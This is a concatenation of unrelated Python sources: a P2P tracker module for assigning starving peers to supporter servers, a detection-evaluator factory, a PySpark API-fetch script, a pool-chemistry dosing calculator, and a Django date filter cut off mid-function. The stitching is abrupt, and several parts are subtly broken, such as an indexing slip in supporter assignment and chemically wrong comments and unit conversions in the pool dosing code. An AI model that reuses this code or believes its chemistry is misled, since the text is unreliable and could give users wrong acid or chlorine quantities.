# -*- coding: utf-8 -*-

__author__ = "Markus Guenther (markus.guenther@gmail.com)"

"""This module implements monitoring logic for peers in an overlay as well as supporter servers that
join the overlay as seeders and are able to supply missing chunks to peers that suffer from chunk starvation.
The monitoring logic also assigns peers that are eligible for support to supporter servers.

Peer assignments are communicated to the resp. supporters via XMLRPC. Since supporters behave the same way
as a regular seeding peer in the overlay, they will use those lists to exclusively distribute chunks to
starving peers unless a supported peers goes back from supported state to default state.

The SupporterMonitor class handles all monitored subjects and peer-to-supporter assignments. From a
client-side perspective, it is the entry-point to the supporter strategy as a component and best integrated
with a central system component, like a torrent tracker.
"""

import logging
import threading
import time

from supporter.monitored_subjects import MonitoredPeer, MonitoredSupporter
from supporter.supporter_adapter import SupporteeListDispatcher
from supporter.state_machine import DefaultState, StarvingState, SupportedState, WatchedState
from supporter.shared import *

class SupporterMonitor(object):
    """This class keeps track of all registered peers and supporters and handles incoming messages.
    State transitions for peers are triggered synchronously in the resp. MonitoredPeer instances
    upon the receipt of a peer message. SupporterMonitor also triggers state changes for peers
    as well as supporters asynchronously by calling its update method in regular intervals of
    1 second.
    """

    def __init__(self, is_alive_timeout=None, peer_timeout=None):
        self._logger = logging.getLogger("Tracker.SupporterMonitor")
        self._dispatcher = SupporteeListDispatcher(self)
        self._monitored_peers = []
        self._monitored_supporters = []
        self._active_supporters = []
        self._lock = threading.RLock()
        self.schedule_next_asynchronous_update()
        self.number_of_assignments = {}
        self.statistics = MonitorState()
        self._is_alive_timeout = is_alive_timeout or IS_ALIVE_TIMEOUT_BOUND
        self._peer_timeout = peer_timeout or PEER_TIMEOUT_BOUND
        # contains supporter servers that were marked as dead (last communication was not
        # successful) and should be removed in the next update cycle (we cant do this
        # directly because of concurrency issues)
        self._dead_supporters = []

    def schedule_next_asynchronous_update(self):
        """Schedules the next asynchronous state update for peers and supporters.

        @return:
            NoneType
        """
        for th in threading.enumerate():
            if th.getName() == "MainThread" and not th.isAlive():
                return

        t = threading.Timer(1.0, self.update_states)
        t.start()

    def get_monitored_peers(self):
        """@return:
            List containing MonitoredPeer instances
        """
        return self._monitored_peers

    def get_monitored_supporters(self):
        """@return:
            List containing all MonitoredSupporter instances, independent of their state
            (active, not active)
        """
        return self._monitored_supporters

    def get_active_supporters(self):
        """@return:
            List containing all MonitoredSupporter instances that reside in the ACTIVE state
        """
        return self._active_supporters

    def register_monitored_peer(self, id, ip, port, peer_type):
        """Registers a peer at the monitor.

        @param id:
            ID of the peer to be registered
        @param ip:
            IP address of the peer
        @param port:
            port address of the peer
        @param peer_type:
            status of the peer (leecher or seeder)

        @return:
            The newly created MonitoredPeer instance. NoneType, if a MonitoredPeer instance
            with the given attributes already exists.
        """
        self._lock.acquire()
        mp = None
        try:
            mp = MonitoredPeer(id, ip, port, peer_type, self._is_alive_timeout, self._peer_timeout)
            if mp not in self._monitored_peers:
                self._monitored_peers.append(mp)
            else:
                mp = None
            self.received_peer_message(MSG_PEER_REGISTERED, id)
        finally:
            self._lock.release()
        return mp

    def unregister_monitored_peer(self, monitored_peer):
        """Unregisters a previously registered peer from the monitor.

        @param monitored_peer:
            Instance of MonitoredPeer that shall be unregistered from the monitor

        @return:
            NoneType
        """
        assert monitored_peer is not None
        assert isinstance(monitored_peer, MonitoredPeer)

        if monitored_peer in self._monitored_peers:
            self._monitored_peers.remove(monitored_peer)

    def register_monitored_supporter(self, id, addr, min_peer, max_peer):
        """Registers a supporter server at the monitor.

        @param id:
            ID of the supporter to be registered
        @param addr:
            2-tuple of the form (IP address, port address)
        @param min_peer:
            Minimum number of supportees that have to be assigned to this supporter
            in order to activate it
        @param max_peer:
            Maximum number of supportees that can be assigned to this supporter

        @return:
            The newly created MonitoredSupporter instance. NoneType, if a MonitoredSupporter
            with the given attributes already exists.
        """
        self._lock.acquire()
        ms = None
        try:
            ms = MonitoredSupporter(id, addr, min_peer, max_peer)
            if ms not in self._monitored_supporters:
                self._monitored_supporters.append(ms)
                self._dispatcher.register_proxy(ms)
            else:
                ms = None
        finally:
            self._lock.release()
        return ms

    def unregister_monitored_supporter(self, monitored_supporter):
        """Unregisters a previously registered supporter from the monitor.

        @param monitored_supporter:
            Instance of MonitoredSupporter that shall be unregistered from the monitor

        @return:
            NoneType
        """
        assert monitored_supporter is not None
        assert isinstance(monitored_supporter, MonitoredSupporter)

        if monitored_supporter in self._monitored_supporters:
            monitored_supporter.cancel_support_for_all_peers()
            self._monitored_supporters.remove(monitored_supporter)
            self._dispatcher.unregister_proxy(monitored_supporter)

    def order_active_supporters(self):
        """Orders all active supporters by decreasing value of their available slots.

        @return:
            NoneType
        """
        tmp = [(s, s.available_slots()) for s in self._active_supporters]
        tmp.sort(lambda x, y: cmp(y[1], x[1]))
        self._active_supporters = [s[0] for s in tmp]

    def filter_peers_by_state(self, state_class):
        """Extracts peers with the given state from the list of all registered peers.

        @param state_class:
            Subclass of SupporterMonitor.State which represents the state
            for which we want to filter.

        @return:
            List of registered monitored peers that currently reside in the given state
        """
        return [mp for mp in self._monitored_peers if isinstance(mp.get_state(), state_class)]

    def remaining_active_supporters_with_capacity(self):
        """@return:
            Boolean value, indicating whether we have at least one active supporter that still
            has available slots
        """
        return len(self._active_supporters) != 0 and self._active_supporters[0].available_slots() > 0

    def update_states(self):
        """Performs an asynchronous state update of all registered monitored peers and supporters.
        The method looks for starving peers and tries to assign them to active supporters. If
        starving peers remain afterwards, it tries to activate new supporters in order to support
        those starving peers. Dispatches supportee lists to all active supporters at the end
        of the state update.

        @return:
            NoneType
        """
        self._lock.acquire()
        try:
            self._remove_timedout_peers()
            self._mark_dead_supporters()
            self._remove_dead_supporters()

            self._enforce_update_of_monitored_peers()
            self._enforce_update_of_monitored_supporters()

            self.statistics.snapshot(self)

            self._assign_starving_peers_to_active_supporters()
            # at this point, we still might have some starving peers left, but no active
            # servers with free capacities. but we can see if we are able to activate more
            # supporters.
            self._check_for_activation_of_new_supporters()
            # now send new peer_lists to supporters
            self._dispatcher.dispatch_peer_lists()
        finally:
            self._lock.release()
        self.schedule_next_asynchronous_update()

    def _remove_timedout_peers(self):
        """Removes peers for which the last activity was reported more than PEER_REMOVAL_TIME
        seconds ago.

        @return:
            NoneType
        """
        peers_to_be_removed = []
        ts = time.time()
        for mp in self.get_monitored_peers():
            if (ts - mp.get_ts_last_message()) >= PEER_REMOVAL_TIME:
                peers_to_be_removed.append(mp)
        for mp in peers_to_be_removed:
            self.unregister_monitored_peer(mp)

    def _mark_dead_supporters(self):
        """Tries to contact every registered supporters and marks those that do not respond
        as being dead.

        @return:
            NoneType
        """
        self._dispatcher.query_all_supporters()

    def _remove_dead_supporters(self):
        """Removes supporters that were marked as being dead.

        @return:
            NoneType
        """
        for supporter in self._dead_supporters:
            self.unregister_monitored_supporter(supporter)

    def _enforce_update_of_monitored_peers(self):
        """Triggers an update on all registered monitored peers. This has to be done since
        peer status transitions might happen asynchronously (after a timer runs out).

        @return:
            NoneType
        """
        for mp in self.get_monitored_peers():
            if mp.get_ts_last_request() and (time.time() - mp.get_ts_last_request() > 10):
                mp.set_state(DefaultState(mp))
            else:
                mp.get_state().transition()

    def _enforce_update_of_monitored_supporters(self):
        """Triggers an update on all registered supporters. This includes the potential transition
        from ACTIVE to INACTIVE for a specific supporter. Updates the active supporter list.

        @return:
            NoneType
        """
        # check for all supporters if they have peers in their supported list
        # that no longer need support (state == DEFAULT)
        supporters_to_be_inactivated = []
        for supporter in self._active_supporters:
            supporter.update_supported_peer_list()
            if supporter.assigned_slots() == 0:
                supporters_to_be_inactivated.append(supporter)
        self._active_supporters = [s for s in self._active_supporters if s not in supporters_to_be_inactivated]

    def sort_starving_peers(self, starving_peers):
        nl = []
        for p in starving_peers:
            if self.number_of_assignments.has_key(p.get_id()):
                nl.append((self.number_of_assignments[p.get_id()], p))
            else:
                nl.append((0, p))
        nl.sort(lambda x, y: cmp(y[0], x[0]))  # cause we sort in descending order
        return [p[1] for p in nl]

    def _assign_starving_peers_to_active_supporters(self):
        """Tries to assign starving peers to already active supporters. This method relies on the
        available slots of all currently active supporters, which means that it can fail to
        allocate slots for all starving peers.

        @return:
            NoneType
        """
        starving_peers = self.filter_peers_by_state(StarvingState)
        starving_peers = self.sort_starving_peers(starving_peers)

        while len(starving_peers) > 0:
            peer = starving_peers[0]  # always take out the peer from the front, otherwise this loop wont work
            # 2. do we have active servers with free slots? it suffices to look
            # at the first supporter of the active list, since we keep this list
            # ordered
            active_supporters = self.get_active_supporters()

            if self.remaining_active_supporters_with_capacity():
                # assign peer to supporter and re-order the active list
                self.assign_peer_to_supporter(peer, active_supporters[0])
                starving_peers.remove(peer)
                self.order_active_supporters()
            else:

                # this is the case if we have no longer any active supporters that
                # can provide slots to suffering peers. we break in this case and
                # handle the set of remaining peers (starving_peers) next
                break

    def _check_for_activation_of_new_supporters(self):
        """Checks if we can activate new supporters in order to support remaining starving peers
        (that could not be assigned to a supporter during the current update phase).

        @return:
            NoneType
        """

        def sorted_list_of_inactive_supporters():
            # create a list with supporters that are inactive and sort this list
            # in ascending order of min_peers, since we want to help suffering
            # peers as fast as possible (but please consider the fact this will
            # not result in an optimal distribution of starving peers in combination
            # with the used assignment algorithm underneath
            inactive_supporters = [(s, s.get_min_peer()) for s in self._monitored_supporters if
                                   s not in self._active_supporters]
            if len(inactive_supporters) == 0:
                return []
            inactive_supporters.sort(lambda x, y: cmp(x[1], y[1]))
            return inactive_supporters

        def retrieve_activation_index(starving_peers, inactive_supporters):
            # checks how many supporters (up to some index i) should be activated in order
            # to supply data to starving peers. this algorithm is quite simple. actually, we have a
            # bin packing problem here at hand which we dont solve optimally using this algorithm.
            # the method used here is a very simple greedy approach, which might not assign peers
            # optimally, meaning that some peers might remain in the STARVING state, although we
            # could obtain a better result if our algorithm was better.
            starving_number = len(starving_peers)
            activate_up_to_index = -1
            for i in xrange(len(inactive_supporters)):
                if starving_number >= inactive_supporters[i][1]:
                    starving_number -= inactive_supporters[i][0].available_slots()
                    activate_up_to_index = i
                else:
                    break
            return activate_up_to_index

        def activate_supporters_and_assign_peers(index, starving_peers):
            # activates new supporters from the sorted inactivate supporters list starting from
            # index 0 up to the given max. index. the method assigns starving peers on-the-fly
            # to freshly activated supporters.
            if activate_up_to_index >= 0:
                for i in xrange(0, activate_up_to_index + 1):  # bound for xrange has to be +1
                    self.activate_supporter(inactive_supporters[i][0])
                    assigned_peers = []
                    for peer in starving_peers:
                        self.assign_peer_to_supporter(peer, inactive_supporters[0][0])
                        assigned_peers.append(peer)
                        if inactive_supporters[0][0].available_slots() == 0:
                            break
                    starving_peers = [p for p in starving_peers if p not in assigned_peers]
                # we activated some new supporters and have to maintain their sorting order now
                self.order_active_supporters()

        starving_peers = self.filter_peers_by_state(StarvingState)
        inactive_supporters = sorted_list_of_inactive_supporters()
        activate_up_to_index = retrieve_activation_index(starving_peers, inactive_supporters)
        activate_supporters_and_assign_peers(activate_up_to_index, starving_peers)

    def activate_supporter(self, monitored_supporter):
        """Activates the given MonitoredSupporter.

        @param monitored_supporter:
            Instance of MonitoredSupporter which represents the
            supporter that shall transition from INACTIVE to ACTIVE

        @return:
            NoneType
        """
        assert monitored_supporter is not None
        assert isinstance(monitored_supporter, MonitoredSupporter)

        if monitored_supporter.assigned_slots() != 0:
            # already activated
            return

        self._active_supporters.append(monitored_supporter)

    def inactivate_supporter(self, monitored_supporter):
        """Inactivates the given MonitoredSupporter if no peer is currently assigned to it.

        @param monitored_supporter:
            Instance of MonitoredSupporter which represents the
            supporter that shall transition from ACTIVE to INACTIVE

        @return:
            NoneType
        """
        assert monitored_supporter is not None
        assert isinstance(monitored_supporter, MonitoredSupporter)

        if monitored_supporter.assigned_slots() == 0:
            self._active_supporters.remove(monitored_supporter)

    def assign_peer_to_supporter(self, monitored_peer, monitored_supporter):
        """Assigns a peer to an active supporter and triggers the update of the peer's state.

        @param monitored_peer:
            Instance of MonitoredPeer which represents the peer that
            will be supported by the given MonitoredSupporter
        @param monitored_supporter:
            Instance of MonitoredSupporter which represents the supporter
            to which the given MonitoredPeer shall be assigned

        @return:
            NoneType
        """
        assert monitored_peer is not None
        assert monitored_supporter is not None

        if monitored_supporter not in self._active_supporters:
            return

        monitored_supporter.add_supported_peer(monitored_peer)
        self.order_active_supporters()
        monitored_peer.receive_msg(MSG_PEER_SUPPORTED)

        # update the number of assignments
        self.number_of_assignments.setdefault(monitored_peer.get_id(), 1)
        self.number_of_assignments[monitored_peer.get_id()] += 1

    def received_peer_message(self, msg_type, peer_id):
        """Handler method for incoming peer messages. Dispatches the message to the resp.
        monitored peer.

        @param msg_type:
            Represents the type of the message
        @param peer_id:
            The ID of the peer that sent the original message

        @return:
            NoneType
        """
        self._lock.acquire()
        found = False
        try:
            for peer in self.get_monitored_peers():
                if peer_id == peer.get_id():
                    self._logger.debug("Dispatching %s message to %s" % (msg_type, peer_id))
                    peer.receive_msg(msg_type)
                    found = True
                    break
            if not found:
                self._logger.warning("Got an unregistered peer ID: %s" % peer_id)
        finally:
            self._lock.release()

class MonitorState(object):
    """The MonitorState class provides static methods for summarizing the current state of
    a SupporterMonitor object. The generated output follows the HTML format and gives information
    on monitored peers (current state, address, ...) as well as monitored supporters (assigned
    supportees, ...).
    """

    def __init__(self):
        self.statistics = open('supporter_statistics.log', 'w')

    def __del__(self):
        if self.statistics is not None:
            self.statistics.close()

    def snapshot(self, monitor):
        monitored_peers = monitor.get_monitored_peers()

        nr_default, nr_watched, nr_starving, nr_supported = 0, 0, 0, 0

        for mp in monitored_peers:
            state = mp.get_state()
            if isinstance(state, DefaultState):
                nr_default += 1
            elif isinstance(state, WatchedState):
                nr_watched += 1
            elif isinstance(state, StarvingState):
                nr_starving += 1
            elif isinstance(state, SupportedState):
                nr_supported += 1

        dispatch = "%1.2f\t%i\t%i\t%i\t%i" % (time.time(), nr_default, nr_watched, nr_starving, nr_supported)
        dispatch = dispatch.encode("utf-8")

        self.statistics.write(dispatch)
        self.statistics.write('\n')
        self.statistics.flush()

    def _monitored_peers_to_html(monitor):
        """Static method which generates HTML-formatted information on the state of all
        peers a SupporterMonitor currently watches.

        @param monitor:
            Represents the instance of SupporterMonitor for which the state summary shall be
            generated

        @return:
            HTML representation containing state information on all peers that are currently
            watched by the given SupporterMonitor instance
        """
        monitored_peers = monitor.get_monitored_peers()

        html_string = '<h3>Monitored Peers</h3>\n'

        if len(monitored_peers) == 0:
            html_string += 'Nothing to report yet.\n'
        else:

            html_string += '<table border=1 cellspacing=1>\n'
            html_string += '<tr><th>ID</th><th>Address</th><th>Current State</th><th>Last received message</th><th># Support Requests</th></tr>\n'
            for peer in monitor.get_monitored_peers():
                html_string += '<tr>\n'
                html_string += '<td>%s</td>' % peer.get_id()
                html_string += '<td>%s:%i</td>' % (peer.get_ip(), peer.get_port())
                html_string += '<td>%s</td>' % str(peer.get_state())
                html_string += '<td>%s</td>' % peer.get_last_received_msg()
                html_string += '<td>%i</td>' % peer.get_number_of_support_requests()
                html_string += '</tr>\n'
            html_string += '<table>\n'

        return html_string

    _monitored_peers_to_html = staticmethod(_monitored_peers_to_html)

    def _monitored_supporters_to_html(monitor):
        """Static method which generates HTML-formatted output on the state of all supporter
        servers a SupporterMonitor currently watches.

        @param monitor:
            Represents the instance of SupporterMonitor for which the state summary shall be
            generated

        @return:
            HTML representation containing state information on all supporter servers that the
            given SupporterMonitor instance currently watches
        """
        monitored_supporters = monitor.get_monitored_supporters()

        html_string = '<h3>Monitored Supporters</h3>\n'

        if len(monitored_supporters) == 0:
            html_string += 'Nothing to report yet.\n'
        else:

            html_string += '<table border=1 cellspacing=1>\n'
            html_string += '<tr><th>ID</th><th>Address</th><th># Supportees</th><th># Slots Available</th></tr>\n'
            for supporter in monitor.get_monitored_supporters():
                html_string += '<tr>\n'
                html_string += '<td>%s</td>' % str(supporter.get_id())
                html_string += '<td>%s</td>' % str(supporter.get_addr())
                html_string += '<td>%i</td>' % supporter.assigned_slots()
                html_string += '<td>%i</td>' % supporter.available_slots()
                html_string += '</tr>\n'
            html_string += '</table>\n'

        return html_string

    _monitored_supporters_to_html = staticmethod(_monitored_supporters_to_html)

    def retrieve_monitor_state_as_html(monitor):
        """Static method which generates HTML-formatted output on the current state of all
        watched peers and supporters of the given SupporterMonitor instance. This method
        synchronizes against the SupporterMonitor instance and can thus be called by
        client code in a thread-safe manner.

        @param monitor:
            Represents the instance of SupporterMonitor for which the
            state summary shall be generated

        @return:
            HTML representation of the above mentioned state information
        """
        assert isinstance(monitor, SupporterMonitor)

        monitor._lock.acquire()
        html_string = ''
        try:
            html_string += '<h2>Supporter Monitor State</h2>\n'
            html_string += MonitorState._monitored_peers_to_html(monitor)
            html_string += MonitorState._monitored_supporters_to_html(monitor)
        finally:
            monitor._lock.release()
        return html_string

    retrieve_monitor_state_as_html = staticmethod(retrieve_monitor_state_as_html)


from .coco_detection import CocoDetectionEvaluator, MyDetectionEvaluator

def build_evaluator(cfg, dataset):
    if cfg.evaluator.name == 'CocoDetectionEvaluator':
        return CocoDetectionEvaluator(dataset)
    elif cfg.evaluator.name == 'MyDetectionEvaluator':
        return MyDetectionEvaluator(dataset, cfg.evaluator.txt_out_dir)
    else:
        raise NotImplementedError


import requests
from pyspark.sql import SparkSession
import json
from pyspark.sql import *

url = "https://jsonplaceholder.typicode.com/todos"
response = requests.get(url)

# Check the status code to ensure the request was successful
if response.status_code == 200:
    data = response.json()
else:
    print("Failed to fetch data")

# Create SparkSession
spark = SparkSession.builder \
    .appName("Fetch API Data") \
    .getOrCreate()

# Convert the data to JSON
json_data = json.dumps(data)

# Load the data into a DataFrame
df = spark.read.json(spark.sparkContext.parallelize([json_data]))

# Select Specific
df2 = df.select("id", "title", "completed")

df2.show()


# calculate how many product needed
import math
from apps.testing.calculator.target import get_target
from apps.testing.dataclasses import ChemistrySolution, Product, Action
from core.constants import Chemistry, TARGET_RANGE, POOL_TYPE_POOL, PRODUCT_TYPE, ActionType
from core.unit import Unit
from core.unit import litre_to_gallon, oz_to_g, oz_to_ml

def calculate(volume, ph, ta, ch, cya, salt, borate, temp, surface, chlorine_source, pool_type=POOL_TYPE_POOL):
    target = get_target(pool_type, surface, chlorine_source)

    ph_solution = calc_ph(volume, ph, target[Chemistry.PH]['ideal'], ta_now=100, borate_now=borate)

def calc_ph(volume, ph_now, ph_target, ta_now=100, borate_now=0):
    """volume in litre"""
    borate_now = borate_now or 0
    delta = ph_target - ph_now

    delta = delta * litre_to_gallon(volume)
    temp = (ph_now + ph_target) / 2
    adj = (192.1626 + -60.1221 * temp + 6.0752 * temp * temp + -0.1943 * temp * temp * temp) * (ta_now + 13.91) / 114.6
    delta = delta * adj

    extra = (-5.476259 + 2.414292 * temp + -0.355882 * temp * temp + 0.01755 * temp * temp * temp) * borate_now
    extra *= delta

    if ph_now < ph_target:
        # too low
        result = (delta / 218.68) + (extra / 218.68)
        soda_ash_weight = result * 28.3495

        return ChemistrySolution(
            chemistry=Chemistry.PH.value,
            options=[
                [
                    # add pH Up (also known as Soda Ash or Sodium Carbinate) in grams
                    # Always in granula form.
                    # People rearly refer the product as Soda Ash or Sodium Carbinate.
                    # Always contain 100% Sodium Carbinate.
                    Product(PRODUCT_TYPE.SODA_ASH, math.ceil(soda_ash_weight), Unit.GRAM)
                ],
            ]
        )
    else:
        # too high
        temp = (delta + extra) / -240.15
        muriatic_acid_concentration = 1  # 31.45% - 20° Baume
        hydrochloric_acid_concentration = 31.45 / 32.5

        # muriatic acid, ml
        muriatic_acid_volume = temp * muriatic_acid_concentration * 29.5735

        # hydrochloric acid, ml
        hydrochloric_acid_volume = temp * hydrochloric_acid_concentration * 29.5735

        # muriatic acid, g
        dry_acid_weight = (delta + extra) / -178.66 * 28.3495
        dry_acid_volume = dry_acid_weight * 0.6657

        # print('muriatic_acid_volume', muriatic_acid_volume)
        # print('dry_acid_weight', dry_acid_weight)
        # print('dry_acid_volume', dry_acid_volume)

        return ChemistrySolution(
            chemistry=Chemistry.PH.value,
            options=[
                [
                    # always add 32.5% Pool Acid in ml or litre.
                    # In Australia, everyone refer to the acid as pool acid.
                    # Always contains 32.5% Hydrochloric Acid
                    # Always in liquid form.
                    Product(PRODUCT_TYPE.POOL_ACID, math.ceil(hydrochloric_acid_volume), Unit.ML)
                ],
            ]
        )

def calc_ta(volume, now, target):
    now = int(now)
    target = int(target)

    if target == now:
        return None

    factor = 28.3495 / 4259.15
    if target < now:
        # too high
        # todo combine with ph calculation
        return ChemistrySolution(
            chemistry=Chemistry.TA.value,
            options=[
                [
                    # Not many people use and know the product
                    Action(type=ActionType.CONSAULT_POOLSHOP,
                           remark='To lower TA you reduce pH to 7.0-7.2 with acid and then aerate to increase pH.')
                ],
            ]
        )
    else:
        # too low
        # add pH Buffer (also known Alkilinity Enhancer, Baking Soda or Sodium BiCarbinate) in grams
        # Always in granular form
        # Always contains 100% SOdium BiCarbinate
        baking_soda_weight = (target - now) * litre_to_gallon(volume * factor)  # unit g
        # print(baking_soda_weight)

        return ChemistrySolution(
            chemistry=Chemistry.TA.value,
            options=[
                [
                    # add pH Up (also known as Soda Ash or Sodium Carbinate) in grams
                    # Always in granula form.
                    # People rearly refer the product as Soda Ash or Sodium Carbinate.
                    # Always contain 100% Sodium Carbinate.
                    Product(PRODUCT_TYPE.PH_BUFFER, math.ceil(baking_soda_weight), Unit.GRAM)
                ],
            ]
        )

def calc_fc(volume, now, target):
    now = int(now)
    target = int(target)

    if target == now:
        return None

    liquid_chlorine_concentration = 12.5  # %, australia normally use 12.5% liquid chlorine
    trichlor_factor = 6854.95
    dichlor_factor = 4149.03
    cal_hypo_70_factor = 5199.52

    if now < target:
        # too low
        cal_hypo_70_weight = (target - now) * litre_to_gallon(volume) / cal_hypo_70_factor
        cal_hypo_70_weight = math.ceil(oz_to_g(cal_hypo_70_weight))

        liquid_chlorine_ml = (target - now) * litre_to_gallon(volume) / 482.202 * 6 / liquid_chlorine_concentration
        liquid_chlorine_ml = math.ceil(oz_to_ml(liquid_chlorine_ml))

        trichlor_weight = (target - now) * litre_to_gallon(volume) / trichlor_factor
        print(math.ceil(oz_to_ml(trichlor_weight)))
        dichlor_weight = (target - now) * litre_to_gallon(volume) / dichlor_factor
        print(math.ceil(oz_to_ml(dichlor_weight)))

        # todo If not enough and a chlorinator pool, crank up chlorine production.
        return ChemistrySolution(
            chemistry=Chemistry.FC.value,
            options=[
                [
                    # option 1:  Liquid Chlorine in ml
                    # Always cotnains 12.5% Sodium Chloride
                    # todo Always in litres
                    # Almost no one calls it bleach in Australia.
                    Product(PRODUCT_TYPE.LIQUID_CHLORINE, liquid_chlorine_ml, Unit.ML)
                ],
                [
                    # option 2: 70% Cal-Hypo in grams
                    # Always in granular form.
                    # Always contain 70% or close Calcium Hypochloride
                    Product(PRODUCT_TYPE.CAL_HYPO_70P, cal_hypo_70_weight, Unit.GRAM)
                ],
                [
                    # option 3: Trichlor in grams
                    # Aways in granular form in Australia
                    Product(PRODUCT_TYPE.TRICHLOR, trichlor_weight, Unit.GRAM)
                ],
                [
                    # option 4: Dichlor in grams
                    # Aways in granular form in Australia
                    Product(PRODUCT_TYPE.DICHLOR, dichlor_weight, Unit.GRAM)
                ]
            ]
        )

    else:
        # too high, add chlorine remover.
        return ChemistrySolution(
            chemistry=Chemistry.FC.value,
            options=[
                [
                    # Not many people use and know the product
                    Action(type=ActionType.CONSAULT_POOLSHOP)
                ],
            ]
        )

def calc_ch(volume, now, target):
    now = int(now)
    target = int(target)

    if target == now:
        return None

    if now < target:
        # too low
        temp = (target - now) * litre_to_gallon(volume) / 6754.11
        calcium_chloride_weight = temp * 28.3495  # unit g
        calcium_chloride_volume = temp * 0.7988 * 29.5735  # unit ml
        calcium_chloride_weight = math.ceil(calcium_chloride_weight)
        calcium_chloride_volume = math.ceil(calcium_chloride_volume)
        print(calcium_chloride_weight)
        print(calcium_chloride_volume)

        temp = (target - now) * litre_to_gallon(volume) / 5098.82

        calcium_chloride_dihydrate_weight = temp * 28.3495  # unit g
        calcium_chloride_dihydrate_volume = temp * 1.148 * 29.5735  # unit ml

        print(calcium_chloride_dihydrate_weight)
        print(calcium_chloride_dihydrate_volume)

        return ChemistrySolution(
            chemistry=Chemistry.TH.value,
            options=[
                [
                    # add Hardness Enhancer (namely Calcium Enhancer and Calcium Chloride) in grans
                    # Always in granular form, always contains 100% Calcium Chloride
                    Product(PRODUCT_TYPE.CALCIUM_CHLORIDE, calcium_chloride_weight, Unit.GRAM),
                ],
                [
                    Product(PRODUCT_TYPE.CALCIUM_CHLORIDE, calcium_chloride_volume, Unit.ML)
                ]
            ]
        )
    else:
        # too high
        ch_fill = 0
        if target < ch_fill:
            return f'Make sure you can replace with the water CH lower than {target}'
        else:
            replace_percent = math.ceil(100 - ((target - ch_fill) / (now - ch_fill)) * 100)

            # replace_percent = replace_percent / 100
            return ChemistrySolution(
                chemistry=Chemistry.TH.value,
                options=[
                    [
                        # dump and refill water.
                        Action(type=ActionType.REPLACE_WATER,
                               value=replace_percent,
                               remark=f'Replace {replace_percent}% of the water with new water, with CH of {ch_fill}')
                    ],
                ]
            )

def calc_cya(volume, now, target):
    if now < target:
        # too low
        temp = (target - now) * litre_to_gallon(volume) / 7489.51

        stabilizer_weight = oz_to_g(temp)
        stabilizer_volume = oz_to_ml(temp * 1.042)
        stabilizer_weight = math.ceil(stabilizer_weight)
        stabilizer_volume = math.ceil(stabilizer_volume)

        temp = (target - now) * litre_to_gallon(volume) / 2890
        liquid_stabilizer_volume = oz_to_ml(temp)

        print(
            f'Add {math.ceil(stabilizer_weight)} g by weight or {math.ceil(stabilizer_volume)} ml by volume of stabilizer')
        print(f'or add {math.ceil(liquid_stabilizer_volume)} ml of liquid stabilizer.')

        return ChemistrySolution(
            chemistry=Chemistry.CYA.value,
            options=[
                [
                    # add Stabiliser (also known as Sunscreen CYA or Cyanuric Acid) in grams
                    # Almost always in granular form
                    # People hardly known the product as CYA or Cyanuric Acid, more popular known as Stabiliser
                    Product(PRODUCT_TYPE.STABILISER, stabilizer_weight, Unit.GRAM),
                ],
                [
                    # Liquid form product is expensive and hard to find.
                    Product(PRODUCT_TYPE.STABILISER, stabilizer_volume, Unit.ML)
                ]
            ]
        )
    else:
        # too high
        refill_percent = 100 - (target / now) * 100
        # print(f'To lower CYA you replace {refill_percent}% of the water with new water.')
        return ChemistrySolution(
            chemistry=Chemistry.CYA.value,
            options=[
                [
                    # dump and refill water.
                    Action(type=ActionType.REPLACE_WATER,
                           value=math.ceil(refill_percent),
                           remark=f'To lower CYA you replace {refill_percent}% of the water with new water.')
                ],
            ]
        )

def calc_salt(volume, now, target):
    if now < target:
        # too low
        salt_kg = (target - now) * litre_to_gallon(volume) / 7468.64 * 0.0283495
        salt_kg = math.ceil(salt_kg)

        print(f'Add {salt_kg} kg of salt.')
        return ChemistrySolution(
            chemistry=Chemistry.SALT.value,
            options=[
                [
                    # add salt always in KG,.
                    # Always in granular form
                    # Salt is 100% salt.
                    Product(PRODUCT_TYPE.SALT, salt_kg, Unit.KG),
                ]

            ]
        )
    else:
        # too high
        replace_percent = 100 - (target / now) * 100
        print(f'To lower Salt you replace {replace_percent}% of the water with new water.')
        return ChemistrySolution(
            chemistry=Chemistry.SALT.value,
            options=[
                [
                    # dump and refill water.
                    Action(type=ActionType.REPLACE_WATER,
                           value=math.ceil(replace_percent),
                           remark=f'To lower Salt you replace {replace_percent}% of the water with new water.')
                ],
            ]
        )

def calc_borate(volume, now, target):
    """todo no solution output yet as Ausralia not apply this"""
    bormuls = [849.271, 1309.52, 1111.69]
    if now < target:
        # too low, add borax
        temp = (target - now) * litre_to_gallon(volume)

        broax_concentration = 849.271
        borax_g = oz_to_g(temp / broax_concentration)
        borax_ml = oz_to_ml(temp / broax_concentration * 0.9586)
        borax_muriatic_acid_ml = oz_to_ml(temp / broax_concentration * 0.4765)
        print(f'Add {borax_g} g by weight or {borax_ml} ml by volume of Borax')
        print(f'and {borax_muriatic_acid_ml} ml of 31.45% muriatic acid to compensate for the pH increase.')

        boric_acid_concentration = 1309.52
        boric_acid_g = oz_to_g(temp / boric_acid_concentration)
        boric_acid_ml = oz_to_ml(temp / boric_acid_concentration * 1.075)
        print(f'Add {boric_acid_g} g by weight or {boric_acid_ml} ml by volume of Borax')

        tetraborate_pentahydrate_concentration = 1111.69
        tetraborate_pentahydrate_g = oz_to_g(temp / tetraborate_pentahydrate_concentration)
        tetraborate_pentahydrate_ml = oz_to_ml(temp / tetraborate_pentahydrate_concentration * 0.5296)
        tetraborate_pentahydrate_muriatic_acid_ml = oz_to_ml(temp / tetraborate_pentahydrate_concentration * 0.624)
        print(f'Add {tetraborate_pentahydrate_g} g by weight or {tetraborate_pentahydrate_ml} ml by volume of Borax')
        print(
            f'and {tetraborate_pentahydrate_muriatic_acid_ml} ml of 31.45% muriatic acid to compensate for the pH increase.')

        return math.ceil(borax_g)
    else:
        # too high
        replace_percent = 100 - (target / now) * 100
        print(f'To lower Borate you replace {replace_percent}% of the water with new water.')
        print('Note: The pH should be tested and adjusted as needed after increasing the borate level.')
        return math.ceil(replace_percent)


# -*- coding: utf-8 -*-

from django import template
from django.utils.safestring import mark_safe

register = template.Library()

REGIOES = ['Lisboa', 'Porto', 'Portugal']

MESES = [
    'Janeiro',
    'Fevereiro',
    'Março',
    'Abril',
    'Maio',
    'Junho',
    'Julho',
    'Agosto',
    'Setembro',
    'Outubro',
    'Novembro',
    'Dezembro',
    ]

@register.filter
def months_for_year(year):
    from datetime import date
    if int(year) == date.today().year:
        month = date.today().month
        return MESES[:month]
    return MESES

@register.filter
def days_for_month(month, year):
    import calendar, datetime
    year = int(year)
    month_number = MESES.index(month)+1
    number_days = calendar.monthrange(year, month_number)[1]
    dates = []
